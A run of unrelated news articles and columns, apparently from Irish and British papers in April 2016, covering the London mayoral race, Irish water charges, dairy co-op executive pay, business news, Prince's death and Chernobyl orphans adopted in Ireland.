Cameron, who was branded a racist by furious Labour MPs, may have picked an unfortunate example. Gani, who has attended conferences that discussed an Islamic state, insists he does not support Isis. He supported the Tory candidate in Tooting last year and met Goldsmith at an event to which he was invited by the Tories. Labour says Gani campaigned against Khan because the MP backed same-sex marriage, and that Khan was involved in him being removed from the mosque because of his views.

The latest polls show Khan still ahead of Goldsmith and in public Labour claims the relentless Tory attacks are backfiring, saying they might have worked 20 years ago but do not in todays London. Privately, some Labour figures are worried that drawing attention to Khan being a Muslim might swing some wavering voters. They know that Crosby proved the pollsters wrong a year ago and would not advise a nice guy like Goldsmith to play nasty unless he was convinced it would work  most probably in the outer London boroughs, where Khan has worked hard to win over floating voters wowed by Johnson.

The Tories accuse Labour of screaming Islamophobia to prevent legitimate scrutiny of Khans judgment, claiming he has not explained all his links. But some Tories are appalled by a campaign that, as Khan argued at a London Evening Standard hustings on Thursday, has imported Donald Trumps tactics into British politics. Playing the Muslim card is totally at odds with the One Nation legacy Cameron wants to leave, which includes a clampdown on discrimination.

Mayor of London 2016 - the candidates at a glance Show all 7 1 /7 Mayor of London 2016 - the candidates at a glance Mayor of London 2016 - the candidates at a glance Sadiq Khan - Labour The MP for Tooting, Sadiq Khan says the mayoral election will be a 'referendum on the Tory housing crisis'. He has also pledged to freeze fares until 2020. Son of a bus driver, and doesn't let anyone forget it. His Conservative opponent has made claims about people who he has previously associated with - but attacks so far have failed to stick Mayor of London 2016 - the candidates at a glance Zac Goldsmith - Conservative The MP for Richmond, Zac Goldsmith is a longstanding campaigner against the expansion of Heathrow airport. Despite his environment credentials - he once edited The Ecologist magazine - the Tory candidate has said he would 'rip out' Boris Johnson's cycle lanes if they don't work. A very wealthy man, his campaign has been dogged by accusations of racism against Sadiq Khan Mayor of London 2016 - the candidates at a glance Sian Berry - Green Party A councillor in the London Borough of Camden, Sian Berry is campaigning on improving homes for renters, cleaning up London's air pollution, and flattening fare zones to help Londoners. She previously ran as the party's mayoral candidate in 2008. In 2012, the Green Party came in third place Mayor of London 2016 - the candidates at a glance Caroline Pidgeon - Liberal Democrat A Liberal Democrat London Assembly member for eight years, Caroline Pidgeon has a strong record on the Assembly's transport committee standing up for commuters and cyclists alike. She wants to set up a 2 billion housing investment fund and make all the capital's buses zero emission Mayor of London 2016 - the candidates at a glance Peter Whittle - UKIP UKIP hasn't fared so well in London in previous elections, but is hoping for a breakthrough this time. Peter Whittle has been UKIP's culture spokesperson for two years. He tends to focus on the impact of immigration on London's housing crisis Mayor of London 2016 - the candidates at a glance George Galloway - RESPECT George Galloway has made a habit of defying the odds and pulling off stunning victories when standing for Parliament. His campaign - based on the slogan 'a London for all' has so far failed to make headway in the polls - has his luck run out? Mayor of London 2016 - the candidates at a glance Sophie Walker - Women's Equality Party A journalist, Sophie Walker is campaigning for the little-known Women's Equality Party. She is pledging to make 'equality and diversity the fuel that drives our nation's capital' with measures to increase women's representation in enterprise, more affordable homes and flexible childcare

As Baroness Warsi, the former Conservative Party chair, put it: If Sadiq Khan isnt an acceptable enough Muslim to stand for London mayor, which Muslim is? Khan has spelled out plans to tackle extremism and terrorism. There is a real danger that moderate Muslims will look at the nasty partys attacks on him and conclude that entering public life is not worth the candle. That would be very bad news for all of us, since the best antidote to the extremists poisonous views is moderate Muslim voices. Like Khan.

There are plenty of other fruitful lines of attack against Khanflip-flopping to oppose a third runway at Heathrow; nominating Jeremy Corbyn as Labour leader and then distancing himself as soon as Labour members chose him to run the mayoral race. Their laser-like, Crosby-driven focus on what they regard as their trump card has eclipsed the real issues facing Londoners.

I have known Khan since 2008, when he was similarly accused of being a subversive and I wrote a piece saying: If hes a subversive, then Im a banana. I might have grown a slightly thicker skin since, but I havent yet turned into a banana.
Campaigners against water charges say politicians will be 'held to account' if they go back on election pledges

The anti-water charge movement has warned politicians they will be held to account if they renege on election promises on the utility.

With the issue central to negotiations on a new government, 39 TDs signed their names to support abolition of the charges and call for a referendum on public ownership of supplies.

And the Right2Water trade unions said it is vital that politicians live up to commitments given during the election campaign.

Brendan Ogle, campaign spokesman, said: "We are giving all politicians fair warning on this one. The previous government lost 50% of their seats in the election a number of weeks ago, and much of that was down to their introduction of water charges."

Mr Ogle said the same fate awaits any other party that ignores the will of the people and ploughs ahead with water charges.

A motion on water has been signed by 39 TDs, including Sinn Fein, the Anti-Austerity Alliance/People Before Profit group, Independents4Change, the Social Democrats and a number of other Independents.

It is expected to be discussed in the Dail in the coming weeks.

Right2Water said there are at least 97 TDs who campaigned for the abolition of water charges in the election but Fianna Fail's position was to abolish Irish Water as a company and postpone charges for five years if it got into power.

Richard Boyd Barrett, of the AAA/PBP group, said the Dail has clear mandate to abolish water charges.

"The abolition of water charges is a simple question of democracy," he said.

"A majority of TDs elected to the new Dail gave clear election pledges to abolish water charges. It would be a betrayal of the democratic mandate for FF or anyone else to do anything other than vote now to abolish water charges."

Mr Boyd Barrett said the question of water charges should be taken out of the government negotiations and put to the Dail.

The Social Democrats also support the motion and Catherine Murphy said it was a cumulative effect of austerity.

"Irish Water is shorthand for the cumulative burdens that have been placed on households and left them feeling pauperised. Nothing short of abolition of Irish Water will be acceptable," she said.

Paul Murphy TD said the negotiations on a new government suggested a "dodgy deal" was being cooked up behind closed doors.

"Irish Water is suppressing the latest payment figures and FF and FG have colluded to prevent any discussion in the Dail," he said.

"People will have to take action themselves to force the change that was voted for, through a major mobilisation and, above all, through re-enforced mass non-payment".

Meanwhile negotiators in Fine Gael and Fianna Fail are widely believed to be close to compromise with a deal which would allow for a Fine Gael minority government predicted for some time over the weekend.

That could clear the path to a vote for a Taoiseach within days and one outcome being Fianna Fail abstaining from the vote to give Enda Kenny a clear run to a second term in office.

Right2Water, which has held seven high profile demonstrations, says it will be watching the outcome of the discussions between the parties and vowed to hold politicians to account if water charges remain.

David Gibney, Right2Water spokesman, said: " The end goal of this policy - which is centred on the installation of water meters - is the privatisation of our water services and the vultures are circling.

"Without the metering, there can be no profits to be made from the industry and that's why Fine Gael are insisting that water metering continues."
Cork's Montenotte Hotel is to get a 5m makeover as part of a revamp and extension of the property.

The upgrades will see the addition of a bar and restaurant, private cinema, library, more conferencing facilities and the touching up of all 107 bedrooms.

A six-metre outdoor terrace will be added to the entire length of the main building giving the hotel "uninterrupted views" of the city and the River Lee.

Work has commenced and is expected to continue through to June. The hotel is open throughout the works.

The hotel is owned by Choice Hotels. Its boss, Frankie Whelehan, was one of the best known figures in the industry during the Celtic Tiger years but is now operating on a smaller scale.

A number of the former Choice Hotels, which included the Gibson Hotel in Dublin, have been taken over by Dalata in recent years.

"The Montenotte Hotel is the third largest hotel in Cork, with a superb location and setting. Following this redevelopment, it will be transformed to meet its enormous potential," said Mr Whelehan.
Rural TDs have hit out at what they described as "astronomical" and "supersonic" executive salaries at the top of the agri-food sector as farmers struggle with falling commodities prices.

Cork South-West TD Independent Michael Collins said it was a "difficult time" for farmers, particularly in the dairy industry. He said: "If people are earning these astronomical amounts of money, obviously it should be released to see the breakdown of what they're making."
Top executives at Ornua maintained their silence over a 9.2m pay and pensions pot.

The total was revealed in the annual report for the first time under new accountancy rules.

However, Ornua has refused to give a breakdown of who gets what out of the pay pot.

The Irish Independent, through Ornua's communications manager, put questions to all 10 listed executives, as it was not stated who the nine top earners were.

Executives were asked if they received a share of the 9.2m, and if they would disclose the amount. But a spokeswoman for Ornua last night said that the executives "declined to comment individually".

Ornua said that "attracting and retaining talented staff" was important to it.

Meanwhile, the 14 directors - who shared 509,000 between them last year - also refused to state how much they each received in board fees.

The Irish Independent contacted directors - including Dairygold's Jim Woulfe, Glanbia Ingredients Ireland's Jim Bergin and Aurivo Co-op's Aaron Forde - either through their individual co-ops or Ornua, and asked them to disclose board fees and if Ornua should break down its executive pay.

Just five of the directors responded to queries last night - Ted O'Connor of the Tipperary Co-op Creamery; John Comer of the Irish Creamery Milk Suppliers Association; Irish Farmers Association's Sean O'Leary; Glanbia Ingredients Ireland's Jim Bergin and Martin Keane.

However, none of the 14 directors stated that Ornua pay should be broken down.

Mr O'Connor would not state the fees he received on the Ornua board, nor would he reveal his salary at the Tipperary co-op. He said Ornua's executive pay shouldn't be broken down because of "competitive reasons".

Mr Comer revealed that his remuneration is less than 50,000 for work with the ICMSA, but asked if Ornua executive pay should be broken down, he referred it to Ornua.

Mr O'Leary also referred the question to Ornua, adding that he received a payment from the IFA of 100 to replace "labour on the farm" and also vouched expenses for IFA work.

Glanbia's Mr Bergin and Mr Keane also would not state if they believed individual executive pay should be revealed, referring the issues to Ornua.
Belfast businessman Stephen Fitzpatrick and a Dublin firm controlled by Russian billionaire Andrey Cheglakov are embroiled in a multi-million pound legal battle in London connected to the Manor Formula 1 racing team.

Mr Fitzpatrick is also the founder and chief executive of Ovo Energy, the British firm that is a challenger to the UK's big power companies, and whose backers include Al Gore's Generation Investment.

In early 2015, Mr Fitzpatrick fulfilled a long-time ambition to own a Formula 1 team, when he acquired Manor Grand Prix Racing, the company then behind the then Marussia racing team, out of administration.

From 2011 until then, Manor had been bankrolled by Mr Cheglakov's Marussia group of companies and raced under that name.

But having spent to the tune of over 55m (70m) funding the team, Mr Cheglakov pulled the plug in 2014. But the Marussia team had managed to secure its first ever points at that year's Monaco Grand Prix, putting it in line to secure $90m (80m) in prize money, due between 2015 and 2016. That money would only be payable if the team continued to race.

Mr Fitzpatrick approached Manor's administrators, as well as Formula 1 boss Bernie Ecclestone with a plan to take over the company. Mr Fitzpatrick reckoned that half the 60m (76m) needed by Manor to contest the 2015 season could be funded by him and other income such as sponsorship, with the remainder coming from the prize money already due.

He acquired Manor in early 2015 by paying just 1.3m (1.6m) for the secured debt owed by it to Marussia and Lloyds Development Capital. The pair had been owed a total of 27m by Manor Grand Prix Racing.

The Formula 1 regulations require that any team name change requires prior permission from the governing FIA body, controlled by Bernie Ecclestone. Mr Ecclestone turned down an initial request from Mr Fitzpatrick in early 2015 to drop Marussia from the team name. Mr Ecclestone told Mr Fitzpatrick to seek the name change during the 2015 season. Changing name without consent means accrued prize money is forfeited.

Mr Fitzpatrick's team raced in 2015 under the 'Manor Marussia' name. He claims that Marussia consented to the use of its trademark pursuant to an implied term in the oral team purchase agreement.

Dublin-registered Marussia Communications Ireland, which owns the Marussia trademark, claims the name was used without permission and could seek damages.

In the London High Court, a judge has said that Mr Fitzpatrick and Manor Grand Prix Racing have "no real prospect of prospect of proving that its use of the claimant's trademark was with the claimant's consent". He ordered that the defendants must provide security of 1.75m to Marussia if they wish to pursue specific trademark defences central to their case.
The boss of Norwegian Air Shuttle, whose Irish unit is close to securing a permit to fly to the United States, said the group's long-haul operations are "becoming significantly more important".

Bjorn Kjos was commenting on the airline's operations as Norwegian released solid first quarter results that were better than analyst expectations.

Norwegian said that its operating revenue jumped 23pc to 4.96bn Norwegian kroner (536m), while it reported an underlying operating loss before interest and tax of 367m kroner (39.7m). That was nearly 400m kroner better than the figure in the first quarter of 2015, however.

In the first quarter, Norwegian launched new long-haul routes between Paris and the US, and took delivery of five brand new Boeing 737-800 and one Boeing 787-9 Dreamliner.

Norwegian's Irish arm, Norwegian Air International (NAI), has been seeking a permit from US authorities for over two years to enable it to fly to America. Last week, the US Department of Transport indicated that it intends to grant that permit. NAI hopes to launch flights between Cork and Boston this summer, and between Cork and New York next year.
One51 has been urged by some shareholders to borrow rather than raise equity in pursuit of its acquisition strategy.

Chairman Denis Cregan told a general meeting yesterday that the company is continuing to look at takeover targets after it postponed a stock market listing indefinitely.

"We're very confident that we will do some acquisition investment, we'll have organic growth, and we'll be able to fund that," he said.

"I suppose some of us have to get ourselves around to the way of thinking that, with the amount of funding that's available and generally out there, that the priority is, some people would say, to protect your equity and leverage [instead].

"I'm not so sure we're mentally at that stage yet, because I remember years back when you came in here and we were distressed sellers of a lot of assets...these are the problems of over-leveraging ... that's why there's a reticence, by way of explanation to you," he added.

"It wouldn't have been the first option but it's there as a very serious option...some of our shareholders are very clear in their views that this is the best way of developing the business."

Mr Cregan did not name any shareholders who had expressed that view. However, Dermot Desmond's International Investment & Underwriting (IIU) is One51's biggest shareholder with a 21pc stake, and was understood to be opposed to the IPO plan, including a proposal to cede some shares to lenders to its Canadian joint venture.

Mr Cregan said that based on the discussions the company had with shareholders, around 35pc of the votes would have gone against the resolution to approve the IPO, with 75pc approval needed for the resolution to pass.

Mr Cregan said the company could look again at doing an IPO in the future.

"It's a postponement indefinitely, but indefinite doesn't mean interminable and doesn't mean ad infinitum. We could well be back, if the ether changes in the financial markets ... equity might still be the flavour of the month in terms of funding.

Chief executive Alan Walsh told reporters that the company is looking at three to four potential acquisition targets, as reported by the Sunday Independent earlier this month.

He said the company may have to forego a number of opportunities as a result of pulling the plan to raise equity, but said that under the leveraging plan the company could have between 75-100m of firepower at its disposal.

"There's a very healthy relationship with all of our shareholders and we will continue to discuss the strategic goals and the funding requirements associated with those goals with all of our shareholders," Mr Walsh said.

"We're continuing to work on a number of things, the organisation is in a great position, the best position it's ever been in since it came into existence in 2005. There are lots of organic opportunities, a number of M&A opportunities.

"If we had proceeded with the plan, there was probably one or two bigger opportunities that we potentially could have unlocked, but with the caveat that you never know how any of these things are going to play out. What's in the best interest of the company is that we continue to grow shareholder value, which is what we'll be doing through those opportunities ... over the next 12 months.
The first woman to have been appointed a partner at PwC in Ireland will be honored with the Ireland-US Council's 2016 Lifetime Achievement Award at a dinner in Dublin Castle on Friday, June 24.

The award is being made to Marie O'Connor, marking her role in building business bonds between America and Ireland, and is planned as the centerpiece of the council's 2016 MidSummer Gala Dinner.

Marie O'Connor was the first woman to be made a partner of Price Waterhouse in Ireland 30 years ago. She has specialised in audit and business advisory services to the financial services industry.

She led PwC's Irish Funds and Asset Management practice for 12 years and was also a member of the PwC's Global Asset Management leadership team.

She has been a board member of the Ireland-US Council for many years, is active in fund raising for the Irish Cancer Society and sits on the President's Advisory Board at UCD.

In addition she leads the 30pc Club in Ireland, which campaigns for gender balance in companies to board level.
Farmer-owned dairy co-ops have refused to reveal the salaries of their top executives despite pressure mounting for more transparency in the agri-sector, as farmers feel the pain of poor prices.

The 14 directors on the board of dairy marketing body Ornua shared 509,000 last year and are mainly key figureheads in the country's farmer-owned dairy co-operatives.

They have refused to reveal their individual board fees. Most of the directors also declined or did not respond to queries on their own salaries on their own co-ops or farm bodies.

Rural TDs have warned the co-ops that they were farmer- owned - and there should be an entitlement to know what senior staff are being paid.

It follows the pay controversy at the Irish Farmers' Association (IFA) where it emerged the former general secretary had received a pay package worth almost 1m over two years.

The directors on the board of Ornua last year received 509,000 between all of them.

It marked a 44pc rise since the 352,000 paid in 2013.

The directors include Glanbia Ingredients Ireland chief executive Jim Bergin, Dairygold's Jim Woulfe and senior figures in the country's co- operatives such as Aurivo, Lakeland Dairies, Carbery, Tipperary and Arrabawn.

It comes as pressure also continues to mount on Ornua to break down the pay of its top executive team.

Under new accountancy rules, it confirmed nine top bosses shared 9.2m including pensions and benefits over the past two years.

But Ornua, formerly known as the Irish Dairy Board, yesterday reiterated its stance that it would not be giving any individual breakdown.

It stated as a "global, privately owned, commercial business with sales of 2.5bn in 2015, attracting and retaining talented staff is of strategic importance to Ornua".

It pointed out "executive and board remuneration, which is performance related and benchmarked against industry peers, is agreed and overseen by its remuneration committee with support from independent professional advisers".

Launching the Ornua annual report, chairman Aaron Forde, said they had a "strong governance" record with a remuneration committee in place. He stated they had went further than the "bare requirements" on setting out the pay of key personnel under new accountancy rules.

It pointed out farmers would share in a 29m bonus, including a once-off 15m payment, this week.

Fianna Fail TD Jackie Cahill, a former vice-chairman of the Irish Dairy Board, believes executives salaries at Ornua and the major co-ops should be "transparent".

He told the Irish Independent that co-ops are farmer- owned and "shareholders are entitled to know what the individuals are being paid".

The Tipperary TD said there had to be an acceptance that the pay rates for "top-class chief executives" were high.

But he added: "I think we deserve to know exactly what they're being paid and I think you own the company so you should know."

Dairy farmers have suffered a 40pc fall in milk prices since the highs of 2014 before the removal of quota.

Pat McCormack, from the farmer representative body, the Irish Creamery Milk Suppliers Association (ICMSA), said transparency on co-ops was an "issue" among farmers.

"A sense of ownership needs to be given back to the farmer, the primary producer. If they want to know they should be in a position to find out," he said, adding that more regular change of personnel was needed on co-op boards.

"When you elect the board you are picking people and giving them a mandate, you'd hope they would represent you in a reasonable manner."

However, he pointed out smaller co-ops may find it harder to "keep good" senior staff if pay was revealed.

As a dairy farmer, Mr Cahill said the "harsh reality" was farmers were not getting paid for "producing the product".

"But against that, if you want the top-class people to work in your industry you have to compete with the likes of Ryanair and all these different companies who will chase the best brains and the best ability."

He said that near the end of his time at the Irish Dairy Board a consultancy firm recommended higher pay for executives.

Mr Cahill said that while the salaries were "huge", the performance of the executives was very good.

Fine Gael Kildare South TD Martin Heydon said: "There absolutely has to be transparency and where big payments are being made the examples need to be given of how that matches with industry norms."

Fianna Fail agriculture spokesman Eamon O Cuiv said the issue of executive salaries at Ornua "raises a wider issue and that is the kind of money being paid to top executives".

"The disparity between top and bottom wages has widened in the last 20/30 years dramatically in real terms and I think it's most unsatisfactory," he said.
The Irish Strategic Investment Fund (ISIF) hasn't invested in any social housing as no options brought to it have been commercially viable, it claims.

The 7.9bn fund said a number of groups from both the public and private sectors have come forward looking to invest in social housing.

The National Treasury Management Agency-run fund was set up in December 2014 with a statutory mandate that it must invest on a commercial basis to support economic activity.

ISIF director Eugene O'Callaghan did not rule out investing in social housing in the future and acknowledged "it is a significant issue for the country".

"There have been numerous working groups both in the public sector generally and also involving some private sector interests who would like to be involved in financing and development of social housing and the various approved housing boards and so on," he said.

Mr O'Callaghan said it is "definitely quite possible" that the fund will invest in social housing in the future.

"I would say there is a huge momentum in the system generally to try to deal with the social housing problem."

ISIF aims to have the entirety of the fund deployed by 2020, having committed over 2bn by the end of 2015. In 2016, the state-backed fund will look to invest roughly the same amount it did last year.

Diversify

However, in 2015 the fund invested 325m of the annual 759m spend in Activate Capital. This time round Mr O'Callaghan expects more diversified investments.

Mr O'Callaghan was speaking at the third annual market engagement event in the Convention Centre in Dublin.

When asked about the fund's investment into SME lender BMS Finance Ireland, he said the firm takes much higher risks in its lending and that there has been plenty of demand for its product in the UK.

"The Strategy Banking Corporation Ireland (SBCI) would be the primary answer for that. We're looking to provide capital where there are gaps that can be filled and there's definitely an equity type gap of which BMS would be an example," he said.

The fund remains confident of its investments even with the potential of a British exit from the EU looming large.

ISIF head of investment strategy Kieran Bristow said the companies it has backed will be able to adapt to changing circumstances.

"We have to invest in a long-term broader view so the companies we invest in we believe will remain competitive and adjust their business model whatever happens," he said.

The average investment size by the fund is between 30m and 40m and it knows it needs to up the amount it's allocating if it is to meet its targets.

Of the 2.3bn invested so far just 30m has been spent on food and agriculture. However, the fund says it has a strong pipeline in the area.
A South Korean study has linked excessive smartphone use to convergent strabismus, a condition that causes people to go cross-eyed.

A study in South Korea warns that excessive use of smartphones by children is causing them to go cross-eyed.

Doctors at Chonnam National University Hospital in Seoul have found a link between the heavy use of smartphones and convergent strabismus, a condition that sees a persons eyes slowly moving inwards until the person is eventually cross-eyed.

Speaking to Yonhap News, the researchers said that the condition is becoming more prevalent in children when it had previously been quite rare. The South Korean study was based on 12 children aged between 7 and 16 who used smartphones for between 4 and 8 hours a day.

The doctors found that they were able to reverse this effect in nine of the children by banning them from using smartphones for two months. This, they say, proves the link between excessive smartphone usage and the condition.

The study also found that the children held smartphones too close to their face. During the study, it was noted that the children were holding smartphones eight to twelve inches from their face.

Samsung recently released an app to help prevent eye strain when using smartphones and tablets. Reducing the risk of convergent strabismus seems like another worthy reason to install it.
Shes already become a star in the US playing Cruella De Vil - now Victoria Smurfits lined up her next major movie role.

The actress has landed a lead part in a modern adaptation of Shakepeares classic, King Lear. Shell star opposite Hollywood legend Bruce Dern in a modern comic version of the story, called The Lears.

Last night the actress spoke of her delight at working with the iconic Dern, father of actress Laura.Weve just started and its great, she said of filming the movie in the US.

Believe it or not I am not playing an evil character! she added, referring to the tough characters for which she is best known.

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Described as a smart, modern day take on the classic, The Lears will see Dern play the character, who in this version is a successful architect named Davenport Lear.

Victoria will play his secretary and soon to be his wife, in a development thats causing friction within the family. He decides to call his children to their family retreat to test their love and loyalty.

The actress has enjoyed huge success with the role thats made her an international star, that of Cruella in global hit fantasy series Once Upon a Time.

Victoria had already established a reputation for playing strong women in roles like Linda La Plantes Trial & Retribution and movies including About a Boy. But five years ago she moved to Las Angeles, where she is now based, with her young family.

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It was brave, maybe stupid, but I preferred the idea of trying and failing than not trying at all, she said.Shes been working steadily ever since, mixing TV roles with independent films including the horror, Bait, and the forthcoming comedy/drama, Homecoming.

This week she started work on the Shakespearian modernisation, which also stars Foxcatcher actor Anthony Michael Hall. The movie will film for several weeks around the Malibu area of Los Angeles and will be released in cinemas next year.
Homelessness is at crisis levels with over 1700 homeless children in Ireland today, but you can do something about it - and enjoy the cream of Irish music talent - this Sunday.

Acts including The Strypes, HamsandwicH, Le Galaxie, Mundy, Heathers,The Stunning and Camille O'Sullivan are taking to the Olympia stage for Rock Against Homelessness.

The event, staged by Independent News and Media, will raise money for young people living on the street via the Irish Youth Foundation.

It's part of the foundation's 'One For Ireland' campaign, which aims to raise 1m to improve the lives of the 1,700 children and young people in Ireland who are homeless and living in emergency accommodation.

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Speaiking to the Independent Max Doyle of the Irish Youth Foundation said, "If you are young and in state care, you are 70pc more likely to become homeless in your lifetime.

"People leaving state care are coming out without any facilities or education. We are talking about children who don't know what it's like to live in a home.

"To put it bluntly, you are creating a generation of future homeless. We want to ease the transition from care to fully integrated independent living."

Tickets for the gig at the Olympia Theatre on Sunday April 24 cost from just 25 from Ticketmaster.
His Purple reign is over. Doubtless doves will really cry tonight. The Mozart of Minneapolis has sung his last note.

Prince having left the stage forever is a sad moment for anyone who loves eccentric soul music with tunes that milk men could whistle back in the day: '1999', 'Kiss', 'Raspberry Beret', 'Purple Rain' and 'Little Red Corvette'.

There really wasn't anyone like Prince. How could there be? He was more than a maverick, more than an iconoclast. He went on strike from his own record company in 1994, saying the music industry made him a "Slave". He blurred the genders with his image (dressing in his black underpants and a coat like a flasher, on the cover of the 'Dirty Mind' album in 1980) and with his songs ('If I Was Your Girlfriend' from 1987 is about Prince wanting the physical closeness that two women together could have.)

He wrote about HIV-Aids before anyone in the mainstream culture in 1987 on 'Sign of the Times': "a big disease with a little name".

I loved him from the beginning. So flying to Paris in June 2011 to meet him on the fifth floor of the Bristol Hotel on rue du Faubourg Saint-Honore was a privilege.

It didn't matter particularly that he looked like Dot Cotton from 'EastEnders' dressed up as Jimi Hendrix for Halloween. He was still my hero.

There was a staccato rap to his speech. I asked him where did the astral riff from '1999' come from. "Some place."

What do you do when you want to hear music?

"I play."

He was mad as a bag of squirrels on acid. And I loved him for it. Prince said he had has little or no interest in contemporary music.

"A lot of it sounds phoned in. It is all machines. You can't jam with a machine. You can put your dirty clothes in a machine but you can't jam with it. Carlos Santana, who is a real cosmic guy, told me that, we are analogue creatures. We feel music as human beings. But a lot of the new stuff lacks feel."

I asked him if he watched the movie 'Black Swan'. I thought Darren Aronofsky's dark pyscho-sexual masterpiece would have been Prince's kind of movie. "That must have passed me by. It's not my cup of tea."

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What was is your cup of tea?

"English Breakfast Tea. Do they have Irish Breakfast Tea?"

They have Barry's Tea, I pointed out. "Your tea? You have a tea? Would you like a tea?" Prince getting up to make himself a cup of tea in heels. Returning with a tea for himself and a Coke for me, His Highness in Heels never really looked like falling off them onto the ground of his palatial suite in the City of Light.

I hope God has enough sense to vacate the most palatial suite tonight in Heaven and let Prince lay down his weary head.
What is it about 2016? First Bowie, and now this. Prince - a totemic figure of pop - taken from us at just 57. The suddenness of it hurts. What other cultural giant is set to depart from us?

And he was a giant. Few strode though the 1980s like he did. It was a decade he owned and the incredible music he released then has continued to reverberate.

He was at the very peak of his creative powers while still in his 20s. He was just 24 when he starred in 'Purple Rain', the rock musical that spawned one of 1984's most emblematic albums and the work that arguably defines him more than any other. It sold 13 million copies in the US alone and bagged both a Grammy and Oscar.

In a year when Bruce Springsteen offered a very defined picture of what it was to be a man, here was a wonderfully eccentric kid from Minneapolis who was showing the world masculinity could be anything you wanted it to be. His look - a guitar-toting dandy transposed from the 18th Century - was pure rock fantasy, and his songs were sexy and seductive.

As with so many truly great pop icons, his artistic apex was marked by astonishing productivity. Virtually everything he wrote turned to gold, and his full artistic flowering was achieved on 1987's 'Sign O' The Times' - the album that rivalled U2's 'The Joshua Tree' as that year's most essential sonic statement.

He had signed to Warner Bros in 1977 while just 18 and his precocious talent didn't take long to show.

His rise was helped by the advent of the music video and his 1982 hit, '1999' was on constant rotation on MTV.

One of the songs he knocked out back then was 'Nothing Compares 2 U'. Sinead O'Connor covered it five years later and it helped send her own career into the stratosphere.

Years later, the Dubliner revealed that she had come to blows with its writer soon after her version became a global hit.

Prince had, in O'Connor's telling, summoned her to his mansion where he said he disliked the foul language she was using in interviews. "I told him to f*** off," she recalled. "He got quite violent. I had to escape out of his house at five in the morning. He packed a bigger punch than mine." Much like O'Connor, Prince was never afraid to say what he really felt.

He waged war against the record industry for most of his life, once famously suggesting that record contracts were a form of slavery.

He changed his name in the early '90s to Symbol and The Artist Formally Known As Prince in a bid to wrest control of his own music. In truth, the great Prince had faded into history by the time he messed with his moniker.

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Try as he might, he could never recapture the zeitgeist quite as spectacularly as he had done before.

His songs, with a few exceptions, just weren't as brilliant as those he had magicked up in the '80s.

It wasn't for want of trying, though. He remained astonishingly prolific right to the end.

He released four albums in the past 18 months alone, bringing the total number to 39, but even professed fans are likely to have bypassed them.

But while the quality of the songs had dipped, he could still deliver the goods as a live performer. His show at Malahide Castle in July 2011 offered a reminder of his untouchable charisma. It would be the last time he played in Ireland - but what a parting gift: 30 songs and three encores.

It was a gig that took place two years after he pulled out of a planned headline show at Croke Park. More than 55,000 tickets had been sold and promoter MCD sued for 1.7m. "Tell that cat to chill," Prince reportedly said of MCD supremo Denis Desmond, when the promoter expressed misgivings about whether the gig would go ahead. But he had every right to be worried as Prince pulled out with a fortnight to go.

Plans to play an intimate tour in Europe were shelved last year, but I was lucky enough to see him play a tiny show in Dublin in 2002. It was a hastily arranged gig in the former Spirit nightclub off O'Connell Street and took place in the early hours of the morning following a performance at the Point.

It was about as far from a greatest hits set as you can get, but for two hours in the early morning the diminutive rocker had us in his grip. Even when he was at his most self-indulgent, he could be mesmerising. The true greats always are.
Prince performs during the halftime show of the NFL's Super Bowl XLI football game between the Chicago Bears and the Indianapolis Colts in Miami, Florida, U.S. February 4, 2007

Prince has left us. For legions of fans, he's taken the good times with him.

But he's left us the funk ... and those bitter-sweet ballads that he was master of.

You see, Prince was revolutionary. He rescued the soul of music at a time when the beat was in danger of becoming bland. Prince didn't do vanilla.

There'll be plenty of people who'll trot out the sales statistics, list the chart-topping number ones, the scalpers' prices for his sell-out shows and even attempt to decipher the mysterious symbol he used as his name while in dispute with his record company.

But to find Prince, the real Prince, the dude who grew from being Prince Rogers Nelson to become a living mash-up of the best of musical giants such as James Brown, Jimi Hendrix, Sly Stone, Marvin Gaye and Curtis Mayfield, you've got to ... well ... get down. You've got to listen and tune in to the man's music. That's where the information is.

He passed it on. Blew our minds. Played mind games with us. Redefined the old hipster term "cool".

His every step was innovative. A quality that's been sidelined in popular music in favour of the homogeneous. He came out of left-field to dominate music in the 1980s and '90s. His brilliance launched a wave of new talent that swept through music like a bush fire.

He had been relatively quiet in recent years, but he never stopped creating.

An aside. I remember shooting the breeze, years ago, with Bob Geldof. We were asking each other what we'd heard recently that had impressed us.

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For Bob, it began and ended with Prince. "He's the only one that, when I hear a new recording from him, I have to ask myself how he did it. Everyone else you can figure out. But not Prince," said Bob.

I've been lucky enough to have experienced some sensational live performances by Prince over the years. But the night I got invited to his studio complex in Paisley Park will live long in my memory.

It was in November 1996. Prince was waiting for the clock in New York to hit midnight, which would signal a new day and the end of his old recording contract.

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In Minneapolis, Prince threw a party. He joined us in an intimate reception room in his studio as, like at New Year's Eve, we watched the clock tick down.

He was pleasant and charming if somewhat guarded and inscrutable.

As he slipped away, he invited us through to one of the big sound stages at the end of the corridor. When he appeared again it was as Prince the musician who had been emancipated. Out with his "slave" motif and in came the most blistering, exhausting, poignant and celebratory musical performance I've ever had the privilege of witnessing.

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Prince was on fire. When he played his big iconic number The Cross, it was as if he'd been born again, emotionally, spiritually and musically. This was beyond pop and rock. This was gospel and jazz and rhythm'n'blues. This was the mother lode. This was art.

That evening, I slipped security and went walkabout.

I tried a door which opened on a small fenced-off outdoor children's play area. It had swings and climbing frames and all sorts of fun stuff and a nice neat, unruffled soft wood-bark covering the ground. It hadn't been used and was clearly ready for the new baby that Prince and his wife Mayte (inset) recently had.

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I closed the door gently and rejoined the group. What I didn't learn until days later was that the child, named Boy Gregory, had been born and was already dead.

I came back to Ireland, leaving Prince in Paisley Park with an empty toddler's playground.

Prince was found dead yesterday in Paisley Park. "A male down, not breathing."

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The world is right to mourn his passing.
Anna Gabriel, who was brought up in Bandon, Cork.

Two women who were orphaned by the Chernobyl nuclear disaster have described how they made new lives for themselves when they were adopted by Irish families.

On the thirtieth anniversary of the disaster, two survivors - Raisa Carolan and Anna Gabriel  joined campaigners Adi Roche and Ali Hewson to tell their story.

Since her adoption by the Carolan family in Co Meath four years ago, Raisa has had over 30 surgeries including a limb amputation and a cleft palette operation.

The student of criminology told RTEs Ryan Tubridy tonight that she hopes to eventually intern with Interpol or the UN.

She recalled life in the orphanage in Belarus where she and the other orphans would be beaten with belt buckles.

If we got out of line, wed be punished for it, she told Tubridy. It took a long time to get over those experiences.

If anyone was coming to visit the orphanage, youd be dressed to the nines and brought into that room [with the toys]. But as soon as they left, youd be changed back into your normal clothes again.

Raisa said she does not know her biological parents circumstances, but she said she could only assume that they couldnt take care of her financially because she needed medical attention.

I was very small when I was born, she said.

